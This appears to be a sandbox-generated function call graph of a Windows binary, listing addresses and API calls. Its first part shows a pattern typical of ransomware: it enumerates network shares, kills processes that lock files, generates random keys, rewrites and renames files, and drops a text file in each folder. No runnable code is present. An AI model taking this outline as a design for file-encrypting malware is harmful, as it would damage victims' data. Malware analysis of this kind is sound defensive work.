7438 40944b 15 API calls 7440 4078fb wsprintfW MoveFileW 7438->7440 7439 409430 ___vcrt_freefls@4 14 API calls 7441 407925 WaitForSingleObject EnterCriticalSection LeaveCriticalSection ReleaseSemaphore 7439->7441 7442 409430 ___vcrt_freefls@4 14 API calls 7440->7442 7441->7443 7441->7444 7442->7444 7444->7438 7444->7439 7474 4025f0 7444->7474 7446 407864 7445->7446 7447 407589 7445->7447 7448 40798d _ValidateLocalCookies 5 API calls 7446->7448 7449 40944b 15 API calls 7447->7449 7450 407871 7448->7450 7451 407594 7449->7451 7452 4075a7 WNetEnumResourceW 7451->7452 7453 407858 WNetCloseEnum 7451->7453 7454 40784f 7452->7454 7460 4075ca 7452->7460 7453->7446 7455 409430 ___vcrt_freefls@4 14 API calls 7454->7455 7457 407855 7455->7457 7456 40782c WNetEnumResourceW 7456->7454 7456->7460 7457->7453 7458 407601 WNetAddConnection2W 7458->7460 7459 407540 40 API calls 7459->7460 7460->7456 7460->7458 7460->7459 7461 407636 lstrcpyW lstrcatW FindFirstFileW 7460->7461 7472 407667 7461->7472 7462 409430 ___vcrt_freefls@4 14 API calls 7462->7460 7463 407672 lstrcmpiW 7463->7472 7464 407771 FindNextFileW 7466 40778c FindClose wsprintfW CreateFileW 7464->7466 7464->7472 7465 407691 wsprintfW 7467 4076c5 StrStrIW 7465->7467 7465->7472 7468 4077cd lstrlenA WriteFile CloseHandle 7466->7468 7466->7472 7467->7464 7470 4076df lstrcmpW 7467->7470 7468->7472 7469 407320 39 API calls 7469->7472 7470->7464 7471 4076f5 lstrlenW 7470->7471 7471->7472 7472->7462 7472->7463 7472->7464 7472->7465 7472->7469 7473 40770e lstrcpyW WaitForSingleObject EnterCriticalSection LeaveCriticalSection ReleaseSemaphore 7472->7473 7473->7472 7518 4120b0 7474->7518 7477 40264b __fassign 7481 402660 RmStartSession 7477->7481 7478 40263f CloseHandle 7479 402731 CreateFileW 7478->7479 7480 402751 GetFileSize 7479->7480 7503 4027b7 7479->7503 7482 4027d5 7480->7482 7483 40275f SetFilePointerEx 7480->7483 7481->7479 7484 402680 RmRegisterResources 7481->7484 7490 4027de CryptGenRandom 7482->7490 7491 4027ef 7482->7491 7483->7482 7486 402772 ReadFile 7483->7486 7487 402727 RmEndSession 7484->7487 7488 40269d RmGetList 7484->7488 7485 40798d _ValidateLocalCookies 5 API calls 7489 4027d1 7485->7489 7486->7482 7498 40278e 7486->7498 7487->7479 7488->7487 7500 4026c7 7488->7500 7489->7444 7490->7491 7492 40944b 15 API calls 7491->7492 7493 4027f9 7492->7493 7495 40944b 15 API calls 7493->7495 7494 40271d 7494->7487 7497 402877 7495->7497 7496 4026d7 GetCurrentProcessId 7499 4026e3 OpenProcess 7496->7499 7496->7500 7501 402886 SetFilePointerEx ReadFile 7497->7501 7502 40290a 7497->7502 7498->7482 7498->7503 7499->7500 7504 4026f7 TerminateProcess WaitForSingleObject 7499->7504 7500->7494 7500->7496 7505 402901 7501->7505 7506 4028bd 7501->7506 7507 409430 ___vcrt_freefls@4 14 API calls 7502->7507 7503->7485 7504->7500 7508 409430 ___vcrt_freefls@4 14 API calls 7505->7508 7506->7505 7520 4020d0 7506->7520 7509 402913 SetFilePointerEx 7507->7509 7508->7502 7511 402a5e FindCloseChangeNotification 7509->7511 7515 40293a 7509->7515 7513 40798d _ValidateLocalCookies 5 API calls 7511->7513 7512 4028d4 SetFilePointerEx WriteFile 7512->7505 7514 402a7b 7513->7514 7514->7444 7517 402a11 WriteFile WriteFile WriteFile WriteFile 7515->7517 7532 406890 7515->7532 7517->7511 7519 402600 SetFileAttributesW CreateFileW 7518->7519 7519->7477 7519->7478 7521 402130 7520->7521 7526 4021bb 7521->7526 7531 40220d 7521->7531 7537 4012a0 7521->7537 7522 40798d _ValidateLocalCookies 5 API calls 7525 4025e7 7522->7525 7524 4021d5 7527 4012a0 5 API calls 7524->7527 7525->7512 7526->7524 7526->7531 7528 4021f1 7527->7528 7529 40798d _ValidateLocalCookies 5 API calls 7528->7529 7530 402206 7529->7530 7530->7512 7531->7522 7531->7531 7545 406560 7532->7545 7535 40798d _ValidateLocalCookies 5 API calls 7536 406b20 7535->7536 7536->7515 7539 4012db 7537->7539 7540 401f52 7539->7540 7541 401000 7539->7541 7540->7526 7542 40104a 7541->7542 7543 40798d _ValidateLocalCookies 5 API calls 7542->7543 7544 401298 7543->7544 7544->7539 7546 406584 7545->7546 7547 40798d _ValidateLocalCookies 5 API calls 7546->7547 7548 406882 7547->7548 7548->7535 7550 409ef0 7549->7550 7559 409f01 7549->7559 7560 409f88 GetModuleHandleW 7550->7560 7555 409f3b 7555->6754 7567 409da8 7559->7567 7561 409ef5 7560->7561 7561->7559 7562 409fcb GetModuleHandleExW 7561->7562 7563 409fea GetProcAddress 7562->7563 7564 409fff 7562->7564 7563->7564 7565 40a013 FreeLibrary 7564->7565 7566 40a01c 7564->7566 7565->7566 7566->7559 7568 409db4 ___scrt_is_nonwritable_in_current_image 7567->7568 7583 40c67c EnterCriticalSection 7568->7583 7570 409dbe 7584 409df5 7570->7584 7572 409dcb 7588 409de9 7572->7588 7575 409f46 7612 40c6db GetPEB 7575->7612 7578 409f75 7581 409fcb __fassign 3 API calls 7578->7581 7579 409f55 GetPEB 7579->7578 7580 409f65 GetCurrentProcess TerminateProcess 7579->7580 7580->7578 7582 409f7d ExitProcess 7581->7582 7583->7570 7586 409e01 ___scrt_is_nonwritable_in_current_image 7584->7586 7585 409e62 __fassign 7585->7572 7586->7585 7591 40a509 7586->7591 7611 40c6c4 LeaveCriticalSection 7588->7611 7590 409dd7 7590->7555 7590->7575 7594 40a23a 7591->7594 7595 40a246 ___scrt_is_nonwritable_in_current_image 7594->7595 7602 40c67c EnterCriticalSection 7595->7602 7597 40a254 7603 40a419 7597->7603 7602->7597 7604 40a438 7603->7604 7605 40a261 7603->7605 7604->7605 7606 40a8c2 _free 14 API calls 7604->7606 7607 40a289 7605->7607 7606->7605 7610 40c6c4 LeaveCriticalSection 7607->7610 7609 40a272 7609->7585 7610->7609 7611->7590 7613 409f50 7612->7613 7614 40c6f5 7612->7614 7613->7578 7613->7579 7616 40d48d 7614->7616 7617 40d40a __dosmaperr 5 API calls 7616->7617 7618 40d4a9 7617->7618 7618->7613 7620 40a6aa 7619->7620 7623 40a6bc ___scrt_uninitialize_crt 7619->7623 7621 40a6b8 7620->7621 7624 40de7f 7620->7624 7621->6860 7623->6860 7627 40dd2d 7624->7627 7630 40dc81 7627->7630 7631 40dc8d ___scrt_is_nonwritable_in_current_image 7630->7631 7638 40c67c EnterCriticalSection 7631->7638 7633 40dd03 7647 40dd21 7633->7647 7636 40dc97 ___scrt_uninitialize_crt 7636->7633 7639 40dbf5 7636->7639 7638->7636 7640 40dc01 ___scrt_is_nonwritable_in_current_image 7639->7640 7650 40df9c EnterCriticalSection 7640->7650 7642 40dc0b ___scrt_uninitialize_crt 7643 40dc57 7642->7643 7651 40de37 7642->7651 7661 40dc75 7643->7661 7794 40c6c4 LeaveCriticalSection 7647->7794 7649 40dd0f 7649->7621 7650->7642 7652 40de44 7651->7652 7653 40de4d 7651->7653 7654 40dd2d ___scrt_uninitialize_crt 66 API calls 7652->7654 7664 40ddd2 7653->7664 7656 40de4a 7654->7656 7656->7643 7659 40de69 7677 40f00f 7659->7677 7793 40dfb0 LeaveCriticalSection 7661->7793 7663 40dc63 7663->7636 7665 40de0f 7664->7665 7666 40ddea 7664->7666 7665->7656 7670 40e566 7665->7670 7666->7665 7667 40e566 ___scrt_uninitialize_crt 25 API calls 7666->7667 7668 40de08 7667->7668 7688 40f805 7668->7688 7671 40e572 7670->7671 7672 40e587 7670->7672 7673 40abb3 _free 14 API calls 7671->7673 7672->7659 7674 40e577 7673->7674 7675 40aaf6 __fassign 25 API calls 7674->7675 7676 40e582 7675->7676 7676->7659 7678 40f020 7677->7678 7681 40f02d 7677->7681 7679 40abb3 _free 14 API calls 7678->7679 7687 40f025 7679->7687 7680 40f076 7682 40abb3 _free 14 API calls 7680->7682 7681->7680 7683 40f054 7681->7683 7684 40f07b 7682->7684 7762 40ef6d 7683->7762 7686 40aaf6 __fassign 25 API calls 7684->7686 7686->7687 7687->7656 7689 40f811 ___scrt_is_nonwritable_in_current_image 7688->7689 7690 40f831 7689->7690 7691 40f819 7689->7691 7693 40f8cc 7690->7693 7697 40f863 7690->7697 7713 40aba0 7691->7713 7695 40aba0 __dosmaperr 14 API calls 7693->7695 7698 40f8d1 7695->7698 7696 40abb3 _free 14 API calls 7699 40f826 7696->7699 7716 40c85a EnterCriticalSection 7697->7716 7701 40abb3 _free 14 API calls 7698->7701 7699->7665 7703 40f8d9 7701->7703 7702 40f869 7704 40f885 7702->7704 7705 40f89a 7702->7705 7706 40aaf6 __fassign 25 API calls 7703->7706 7708 40abb3 _free 14 API calls 7704->7708 7717 40f8f7 7705->7717 7706->7699 7710 40f88a 7708->7710 7709 40f895 7759 40f8c4 7709->7759 7711 40aba0 __dosmaperr 14 API calls 7710->7711 7711->7709 7714 40b05b __dosmaperr 14 API calls 7713->7714 7715 40aba5 7714->7715 7715->7696 7716->7702 7718 40f919 7717->7718 7756 40f935 7717->7756 7719 40f91d 7718->7719 7721 40f96d 7718->7721 7720 40aba0 __dosmaperr 14 API calls 7719->7720 7722 40f922 7720->7722 7723 40f980 7721->7723 7725 40ff96 ___scrt_uninitialize_crt 27 API calls 7721->7725 7724 40abb3 _free 14 API calls 7722->7724 7726 40f49e ___scrt_uninitialize_crt 38 API calls 7723->7726 7727 40f92a 7724->7727 7725->7723 7728 40f991 7726->7728 7729 40aaf6 __fassign 25 API calls 7727->7729 7730 40f9d5 7728->7730 7731 40f996 7728->7731 7729->7756 7732 40f9e9 7730->7732 7733 40fa2e WriteFile 7730->7733 7734 40f99a 7731->7734 7735 40f9bf 7731->7735 7738 40f9f4 7732->7738 7739 40fa1e 7732->7739 7736 40fa52 GetLastError 7733->7736 7744 40f9b5 7733->7744 7742 40f436 ___scrt_uninitialize_crt 6 API calls 7734->7742 7734->7744 7737 40f08c ___scrt_uninitialize_crt 43 API calls 7735->7737 7736->7744 7737->7744 7740 40f9f9 7738->7740 7741 40fa0e 7738->7741 7743 40f50f ___scrt_uninitialize_crt 7 API calls 7739->7743 7740->7744 7748 40f5ea ___scrt_uninitialize_crt 7 API calls 7740->7748 7745 40f6d3 ___scrt_uninitialize_crt 8 API calls 7741->7745 7742->7744 7743->7744 7746 40faa2 7744->7746 7747 40fa78 7744->7747 7744->7756 7745->7744 7751 40abb3 _free 14 API calls 7746->7751 7746->7756 7749 40fa96 7747->7749 7750 40fa7f 7747->7750 7748->7744 7753 40ab7d __dosmaperr 14 API calls 7749->7753 7752 40abb3 _free 14 API calls 7750->7752 7754 40faba 7751->7754 7755 40fa84 7752->7755 7753->7756 7757 40aba0 __dosmaperr 14 API calls 7754->7757 7758 40aba0 __dosmaperr 14 API calls 7755->7758 7756->7709 7757->7756 7758->7756 7760 40c87d ___scrt_uninitialize_crt LeaveCriticalSection 7759->7760 7761 40f8ca 7760->7761 7761->7699 7763 40ef79 ___scrt_is_nonwritable_in_current_image 7762->7763 7776 40c85a EnterCriticalSection 7763->7776 7765 40ef88 7766 40efcf 7765->7766 7777 40c931 7765->7777 7767 40abb3 _free 14 API calls 7766->7767 7769 40efd4 7767->7769 7790 40f003 7769->7790 7770 40efb4 FlushFileBuffers 7770->7769 7771 40efc0 7770->7771 7773 40aba0 __dosmaperr 14 API calls 7771->7773 7774 40efc5 GetLastError 7773->7774 7774->7766 7776->7765 7778 40c953 7777->7778 7779 40c93e 7777->7779 7781 40aba0 __dosmaperr 14 API calls 7778->7781 7785 40c978 7778->7785 7780 40aba0 __dosmaperr 14 API calls 7779->7780 7782 40c943 7780->7782 7783 40c983 7781->7783 7784 40abb3 _free 14 API calls 7782->7784 7786 40abb3 _free 14 API calls 7783->7786 7787 40c94b 7784->7787 7785->7770 7788 40c98b 7786->7788 7787->7770 7789 40aaf6 __fassign 25 API calls 7788->7789 7789->7787 7791 40c87d ___scrt_uninitialize_crt LeaveCriticalSection 7790->7791 7792 40efec 7791->7792 7792->7687 7793->7663 7794->7649 8148 40b3c3 8149 40b3d3 8148->8149 8158 40b3e7 8148->8158 8150 40abb3 _free 14 API calls 8149->8150 8151 40b3d8 8150->8151 8152 40aaf6 __fassign 25 API calls 8151->8152 8154 40b3e2 8152->8154 8155 40b45e 8155->8155 8187 409a9b 8155->8187 8157 40b4cc 8160 40a8c2 _free 14 API calls 8157->8160 8158->8155 8164 40b4d7 8158->8164 8169 40b5b2 8158->8169 8159 40b4c3 8159->8157 8165 40b5a7 8159->8165 8193 40eac7 8159->8193 8160->8164 8162 40b593 8163 40a8c2 _free 14 API calls 8162->8163 8163->8154 8164->8162 8166 40a8c2 _free 14 API calls 8164->8166 8167 40ab06 __fassign 11 API calls 8165->8167 8166->8164 8168 40b5b1 8167->8168 8170 40b5be 8169->8170 8170->8170 8171 40b1b0 __dosmaperr 14 API calls 8170->8171 8172 40b5ec 8171->8172 8173 40eac7 25 API calls 8172->8173 8174 40b618 8173->8174 8175 40ab06 __fassign 11 API calls 8174->8175 8176 40b662 8175->8176 8202 40b8ba 8176->8202 8181 40b778 8182 40b8ba 37 API calls 8181->8182 8183 40b7b5 8182->8183 8210 40b2d7 8183->8210 8186 40b5b2 43 API calls 8188 409ade 8187->8188 8189 409aac 8187->8189 8188->8159 8189->8188 8190 40b1b0 __dosmaperr 14 API calls 8189->8190 8191 409ad5 8190->8191 8192 40a8c2 _free 14 API calls 8191->8192 8192->8188 8195 40ea14 8193->8195 8194 40ea2c 8196 40ea40 8194->8196 8197 40abb3 _free 14 API calls 8194->8197 8195->8194 8195->8196 8200 40ea64 8195->8200 8196->8159 8198 40ea36 8197->8198 8199 40aaf6 __fassign 25 API calls 8198->8199 8199->8196 8200->8196 8201 40abb3 _free 14 API calls 8200->8201 8201->8198 8203 409456 __fassign 37 API calls 8202->8203 8204 40b8cc 8203->8204 8205 40b72a 8204->8205 8233 40d4cd 8204->8233 8207 40b3a6 8205->8207 8239 40b225 8207->8239 8211 40b301 8210->8211 8212 40b2e5 8210->8212 8214 40b328 8211->8214 8215 40b308 8211->8215 8213 40b8f9 14 API calls 8212->8213 8220 40b2ef 8213->8220 8216 40c4d3 ___scrt_uninitialize_crt WideCharToMultiByte 8214->8216 8215->8220 8269 40b913 8215->8269 8217 40b338 8216->8217 8219 40b33f GetLastError 8217->8219 8223 40b355 8217->8223 8221 40ab7d __dosmaperr 14 API calls 8219->8221 8220->8186 8224 40b34b 8221->8224 8222 40b366 8222->8220 8226 40c4d3 ___scrt_uninitialize_crt WideCharToMultiByte 8222->8226 8223->8222 8225 40b913 15 API calls 8223->8225 8228 40abb3 _free 14 API calls 8224->8228 8225->8222 8227 40b37e 8226->8227 8227->8220 8229 40b385 GetLastError 8227->8229 8228->8220 8230 40ab7d __dosmaperr 14 API calls 8229->8230 8231 40b391 8230->8231 8232 40abb3 _free 14 API calls 8231->8232 8232->8220 8236 40d2f5 8233->8236 8237 40d40a __dosmaperr 5 API calls 8236->8237 8238 40d30b 8237->8238 8238->8205 8240 40b233 8239->8240 8241 40b24d 8239->8241 8257 40b8f9 8240->8257 8242 40b273 8241->8242 8243 40b254 8241->8243 8245 40c457 __fassign MultiByteToWideChar 8242->8245 8256 40b23d FindFirstFileExW 8243->8256 8261 40b94f 8243->8261 8247 40b282 8245->8247 8248 40b289 GetLastError 8247->8248 8252 40b94f 15 API calls 8247->8252 8253 40b2af 8247->8253 8249 40ab7d __dosmaperr 14 API calls 8248->8249 8251 40b295 8249->8251 8250 40c457 __fassign MultiByteToWideChar 8254 40b2c6 8250->8254 8255 40abb3 _free 14 API calls 8251->8255 8252->8253 8253->8250 8253->8256 8254->8248 8254->8256 8255->8256 8256->8181 8258 40b90c 8257->8258 8259 40b904 8257->8259 8258->8256 8260 40a8c2 _free 14 API calls 8259->8260 8260->8258 8262 40b8f9 14 API calls 8261->8262 8263 40b95d 8262->8263 8266 40b98e 8263->8266 8267 40a8fc 15 API calls 8266->8267 8268 40b96e 8267->8268 8268->8256 8270 40b8f9 14 API calls 8269->8270 8271 40b921 8270->8271 8272 40b98e 15 API calls 8271->8272 8273 40b92f 8272->8273 8273->8220 8274 409ec6 8275 40a72e 37 API calls 8274->8275 8276 409ece 8275->8276 8492 40de88 8493 40de95 8492->8493 8494 40b1b0 __dosmaperr 14 API calls 8493->8494 8495 40deaf 8494->8495 8496 40a8c2 _free 14 API calls 8495->8496 8497 40debb 8496->8497 8498 40b1b0 __dosmaperr 14 API calls 8497->8498 8502 40dee1 8497->8502 8500 40ded5 8498->8500 8499 40d5eb 6 API calls 8499->8502 8501 40a8c2 _free 14 API calls 8500->8501 8501->8502 8502->8499 8503 40deed 8502->8503 8504 40df4b 8502->8504 8277 40adcb 8278 40add6 8277->8278 8279 40ade6 8277->8279 8283 40adec 8278->8283 8282 40a8c2 _free 14 API calls 8282->8279 8284 40ae01 8283->8284 8285 40ae07 8283->8285 8286 40a8c2 _free 14 API calls 8284->8286 8287 40a8c2 _free 14 API calls 8285->8287 8286->8285 8288 40ae13 8287->8288 8289 40a8c2 _free 14 API calls 8288->8289 8290 40ae1e 8289->8290 8291 40a8c2 _free 14 API calls 8290->8291 8292 40ae29 8291->8292 8293 40a8c2 _free 14 API calls 8292->8293 8294 40ae34 8293->8294 8295 40a8c2 _free 14 API calls 8294->8295 8296 40ae3f 8295->8296 8297 40a8c2 _free 14 API calls 8296->8297 8298 40ae4a 8297->8298 8299 40a8c2 _free 14 API calls 8298->8299 8300 40ae55 8299->8300 8301 40a8c2 _free 14 API calls 8300->8301 8302 40ae60 8301->8302 8303 40a8c2 _free 14 API calls 8302->8303 8304 40ae6e 8303->8304 8309 40ac18 8304->8309 8310 40ac24 ___scrt_is_nonwritable_in_current_image 8309->8310 8325 40c67c EnterCriticalSection 8310->8325 8313 40ac2e 8315 40a8c2 _free 14 API calls 8313->8315 8316 40ac58 8313->8316 8315->8316 8326 40ac77 8316->8326 8317 40ac83 8318 40ac8f ___scrt_is_nonwritable_in_current_image 8317->8318 8330 40c67c EnterCriticalSection 8318->8330 8320 40ac99 8321 40aeb9 __dosmaperr 14 API calls 8320->8321 8322 40acac 8321->8322 8331 40accc 8322->8331 8325->8313 8329 40c6c4 LeaveCriticalSection 8326->8329 8328 40ac65 8328->8317 8329->8328 8330->8320 8334 40c6c4 LeaveCriticalSection 8331->8334 8333 40acba 8333->8282 8334->8333 8023 40a60f 8024 40a8c2 _free 14 API calls 8023->8024 8025 40a61d 8024->8025 8026 40a8c2 _free 14 API calls 8025->8026 8027 40a630 8026->8027 8028 40a8c2 _free 14 API calls 8027->8028 8029 40a641 8028->8029 8030 40a8c2 _free 14 API calls 8029->8030 8031 40a652 8030->8031 7866 40df50 7867 40de7f ___scrt_uninitialize_crt 66 API calls 7866->7867 7868 40df58 7867->7868 7876 40fad9 7868->7876 7870 40df5d 7886 40fb84 7870->7886 7873 40df87 7874 40a8c2 _free 14 API calls 7873->7874 7875 40df92 7874->7875 7877 40fae5 ___scrt_is_nonwritable_in_current_image 7876->7877 7890 40c67c EnterCriticalSection 7877->7890 7879 40faf0 7880 40fb5c 7879->7880 7882 40fb30 DeleteCriticalSection 7879->7882 7891 41005a 7879->7891 7904 40fb7b 7880->7904 7885 40a8c2 _free 14 API calls 7882->7885 7885->7879 7887 40df6c DeleteCriticalSection 7886->7887 7888 40fb9b 7886->7888 7887->7870 7887->7873 7888->7887 7889 40a8c2 _free 14 API calls 7888->7889 7889->7887 7890->7879 7892 410066 ___scrt_is_nonwritable_in_current_image 7891->7892 7893 410070 7892->7893 7894 410085 7892->7894 7896 40abb3 _free 14 API calls 7893->7896 7895 410080 7894->7895 7907 40df9c EnterCriticalSection 7894->7907 7895->7879 7898 410075 7896->7898 7900 40aaf6 __fassign 25 API calls 7898->7900 7899 4100a2 7908 40ffe3 7899->7908 7900->7895 7902 4100ad 7924 4100d4 7902->7924 7988 40c6c4 LeaveCriticalSection 7904->7988 7906 40fb68 7906->7870 7907->7899 7909 40fff0 7908->7909 7910 410005 7908->7910 7911 40abb3 _free 14 API calls 7909->7911 7912 40ddd2 ___scrt_uninitialize_crt 62 API calls 7910->7912 7916 410000 7910->7916 7913 40fff5 7911->7913 7914 41001a 7912->7914 7915 40aaf6 __fassign 25 API calls 7913->7915 7917 40fb84 14 API calls 7914->7917 7915->7916 7916->7902 7918 410022 7917->7918 7919 40e566 ___scrt_uninitialize_crt 25 API calls 7918->7919 7920 410028 7919->7920 7927 410657 7920->7927 7923 40a8c2 _free 14 API calls 7923->7916 7987 40dfb0 LeaveCriticalSection 7924->7987 7926 4100dc 7926->7895 7928 410668 7927->7928 7929 41067d 7927->7929 7930 40aba0 __dosmaperr 14 API calls 7928->7930 7931 4106c6 7929->7931 7936 4106a4 7929->7936 7933 41066d 7930->7933 7932 40aba0 __dosmaperr 14 API calls 7931->7932 7934 4106cb 7932->7934 7935 40abb3 _free 14 API calls 7933->7935 7937 40abb3 _free 14 API calls 7934->7937 7940 41002e 7935->7940 7942 4105cb 7936->7942 7939 4106d3 7937->7939 7941 40aaf6 __fassign 25 API calls 7939->7941 7940->7916 7940->7923 7941->7940 7943 4105d7 ___scrt_is_nonwritable_in_current_image 7942->7943 7953 40c85a EnterCriticalSection 7943->7953 7945 4105e5 7946 410617 7945->7946 7947 41060c 7945->7947 7949 40abb3 _free 14 API calls 7946->7949 7954 4106e4 7947->7954 7950 410612 7949->7950 7969 41064b 7950->7969 7953->7945 7955 40c931 ___scrt_uninitialize_crt 25 API calls 7954->7955 7958 4106f4 7955->7958 7956 4106fa 7972 40c8a0 7956->7972 7958->7956 7959 41072c 7958->7959 7960 40c931 ___scrt_uninitialize_crt 25 API calls 7958->7960 7959->7956 7961 40c931 ___scrt_uninitialize_crt 25 API calls 7959->7961 7963 410723 7960->7963 7964 410738 CloseHandle 7961->7964 7966 40c931 ___scrt_uninitialize_crt 25 API calls 7963->7966 7964->7956 7967 410744 GetLastError 7964->7967 7965 410774 7965->7950 7966->7959 7967->7956 7986 40c87d LeaveCriticalSection 7969->7986 7971 410634 7971->7940 7973 40c916 7972->7973 7974 40c8af 7972->7974 7975 40abb3 _free 14 API calls 7973->7975 7974->7973 7980 40c8d9 7974->7980 7976 40c91b 7975->7976 7977 40aba0 __dosmaperr 14 API calls 7976->7977 7978 40c906 7977->7978 7978->7965 7981 40ab7d 7978->7981 7979 40c900 SetStdHandle 7979->7978 7980->7978 7980->7979 7982 40aba0 __dosmaperr 14 API calls 7981->7982 7983 40ab88 _free 7982->7983 7984 40abb3 _free 14 API calls 7983->7984 7985 40ab9b 7984->7985 7985->7965 7986->7971 7987->7926 7988->7906 8032 40b110 8040 40d4ec 8032->8040 8035 40b05b __dosmaperr 14 API calls 8036 40b12c 8035->8036 8037 40b139 8036->8037 8045 40b13c 8036->8045 8039 40b124 8041 40d40a __dosmaperr 5 API calls 8040->8041 8042 40d508 8041->8042 8043 40d520 TlsAlloc 8042->8043 8044 40b11a 8042->8044 8043->8044 8044->8035 8044->8039 8046 40b14c 8045->8046 8047 40b146 8045->8047 8046->8039 8049 40d52b 8047->8049 8050 40d40a __dosmaperr 5 API calls 8049->8050 8051 40d547 8050->8051 8052 40d550 8051->8052 8053 40d562 TlsFree 8051->8053 8052->8046 8335 40e5d0 8336 40e60a 8335->8336 8337 40abb3 _free 14 API calls 8336->8337 8342 40e61e 8336->8342 8338 40e613 8337->8338 8339 40aaf6 __fassign 25 API calls 8338->8339 8339->8342 8340 40798d _ValidateLocalCookies 5 API calls 8341 40e62b 8340->8341 8342->8340 8509 410291 8510 4102b1 8509->8510 8513 4102e8 8510->8513 8512 4102db 8514 4102ef 8513->8514 8515 41038e 8514->8515 8516 41030f 8514->8516 8518 411077 20 API calls 8515->8518 8516->8512 8517 410fa0 8516->8517 8520 411077 20 API calls 8516->8520 8517->8512 8519 41039e 8518->8519 8519->8512 8521 410f9e 8520->8521 8521->8512 8343 4107d0 8346 4107ee 8343->8346 8345 4107e6 8347 4107f3 8346->8347 8350 410888 8347->8350 8351 4110b3 8347->8351 8350->8345 8352 4110d6 8351->8352 8353 4110c6 DecodePointer 8351->8353 8354 410a1f 8352->8354 8355 41111a 8352->8355 8356 411105 8352->8356 8353->8352 8354->8345 8355->8354 8357 40abb3 _free 14 API calls 8355->8357 8356->8354 8358 40abb3 _free 14 API calls 8356->8358 8357->8354 8358->8354 8054 408212 8055 408249 8054->8055 8056 408224 8054->8056 8056->8055 8063 4087da 8056->8063 8075 408b03 8063->8075 8065 408256 8066 4087e3 8065->8066 8067 408b03 47 API calls 8066->8067 8068 408260 8067->8068 8069 40a72e 8068->8069 8070 40a73a ___scrt_is_nonwritable_in_current_image 8069->8070 8071 40af04 __fassign 37 API calls 8070->8071 8074 40a73f 8071->8074 8072 40a7c4 __fassign 37 API calls 8073 40a769 8072->8073 8074->8072 8089 408b11 8075->8089 8077 408b08 8078 408b10 8077->8078 8079 40d9ac __fassign 2 API calls 8077->8079 8078->8065 8080 40a7c9 8079->8080 8081 40d9fa __fassign 37 API calls 8080->8081 8083 40a7d4 8080->8083 8081->8083 8082 40a7de IsProcessorFeaturePresent 8084 40a7ea 8082->8084 8083->8082 8087 40a7fd 8083->8087 8086 40a94a __fassign 8 API calls 8084->8086 8085 40a04b __fassign 23 API calls 8088 40a807 8085->8088 8086->8087 8087->8085 8088->8065 8090 408b1a 8089->8090 8091 408b1d GetLastError 8089->8091 8090->8077 8103 408de4 8091->8103 8094 408b97 SetLastError 8094->8077 8095 408e1f ___vcrt_FlsSetValue 6 API calls 8096 408b4b 8095->8096 8097 408b73 8096->8097 8098 408e1f ___vcrt_FlsSetValue 6 API calls 8096->8098 8102 408b51 8096->8102 8099 408e1f ___vcrt_FlsSetValue 6 API calls 8097->8099 8100 408b87 8097->8100 8098->8097 8099->8100 8101 409430 ___vcrt_freefls@4 14 API calls 8100->8101 8101->8102 8102->8094 8104 408c83 ___vcrt_FlsGetValue 5 API calls 8103->8104 8105 408dfe 8104->8105 8106 408e16 TlsGetValue 8105->8106 8107 408b32 8105->8107 8106->8107 8107->8094 8107->8095 8107->8102 8522 40d792 GetProcessHeap 7989 40a75a 7990 40a75d 7989->7990 7991 40a7c4 __fassign 37 API calls 7990->7991 7992 40a769 7991->7992 8359 4102df 8360 4102e8 8359->8360 8361 41038e 8360->8361 8365 41030f 8360->8365 8368 411077 8361->8368 8362 410fa0 8365->8362 8366 411077 20 API calls 8365->8366 8367 410f9e 8366->8367 8369 411080 8368->8369 8372 4114ef 8369->8372 8373 41152e __startOneArgErrorHandling 8372->8373 8377 4115b0 __startOneArgErrorHandling 8373->8377 8380 4118fa 8373->8380 8376 4115e5 8378 40798d _ValidateLocalCookies 5 API calls 8376->8378 8377->8376 8383 411c13 8377->8383 8379 41039e 8378->8379 8390 41191d 8380->8390 8384 411c20 8383->8384 8385 411c35 8383->8385 8387 40abb3 _free 14 API calls 8384->8387 8388 411c3a 8384->8388 8386 40abb3 _free 14 API calls 8385->8386 8386->8388 8389 411c2d 8387->8389 8388->8376 8389->8376 8391 411948 __raise_exc 8390->8391 8392 411b41 RaiseException 8391->8392 8393 411918 8392->8393 8393->8377 8108 40eb20 8111 40eb37 8108->8111 8110 40eb32 8112 40eb45 8111->8112 8113 40eb59 8111->8113 8114 40abb3 _free 14 API calls 8112->8114 8115 40eb61 8113->8115 8116 40eb73 8113->8116 8117 40eb4a 8114->8117 8118 40abb3 _free 14 API calls 8115->8118 8119 409456 __fassign 37 API calls 8116->8119 8122 40eb71 8116->8122 8120 40aaf6 __fassign 25 API calls 8117->8120 8121 40eb66 8118->8121 8119->8122 8123 40eb55 8120->8123 8124 40aaf6 __fassign 25 API calls 8121->8124 8122->8110 8123->8110 8124->8122 8523 4103a1 8524 4103c5 8523->8524 8525 410416 8524->8525 8528 4104a1 __startOneArgErrorHandling 8524->8528 8526 4110b3 15 API calls 8525->8526 8527 410428 8525->8527 8526->8527 8530 4112e9 __startOneArgErrorHandling 8528->8530 8531 411641 8528->8531 8532 41167a __startOneArgErrorHandling 8531->8532 8533 41191d __raise_exc RaiseException 8532->8533 8534 4116a1 __startOneArgErrorHandling 8532->8534 8533->8534 8535 4116e4 8534->8535 8536 4116bf 8534->8536 8537 411c13 __startOneArgErrorHandling 14 API calls 8535->8537 8542 411c42 8536->8542 8539 4116df __startOneArgErrorHandling 8537->8539 8540 40798d _ValidateLocalCookies 5 API calls 8539->8540 8541 411708 8540->8541 8541->8530 8543 411c51 8542->8543 8544 411cc5 __startOneArgErrorHandling 8543->8544 8546 411c70 __startOneArgErrorHandling 8543->8546 8545 411c13 __startOneArgErrorHandling 14 API calls 8544->8545 8547 411cda 8545->8547 8548 411cbe 8546->8548 8549 411c13 __startOneArgErrorHandling 14 API calls 8546->8549 8547->8539 8548->8539 8549->8548 8550 407ca3 8553 4095f4 8550->8553 8554 40b05b __dosmaperr 14 API calls 8553->8554 8555 407cb4 8554->8555 8556 40d7a4 8557 40d7bd 8556->8557 8558 40d7db 8556->8558 8557->8558 8559 40cb05 30 API calls 8557->8559 8559->8557 8560 410fa5 8561 410fcd 8560->8561 8562 411005 8561->8562 8563 410ff7 8561->8563 8564 410ffe 8561->8564 8566 411077 20 API calls 8563->8566 8569 411060 8564->8569 8568 410ffc 8566->8568 8570 411080 8569->8570 8571 4114ef __startOneArgErrorHandling 20 API calls 8570->8571 8572 411003 8571->8572 7993 40cb65 7994 40cb6a 7993->7994 7996 40cb8d 7994->7996 7997 40c787 7994->7997 7998 40c794 7997->7998 7999 40c7b6 7997->7999 8000 40c7b0 7998->8000 8001 40c7a2 DeleteCriticalSection 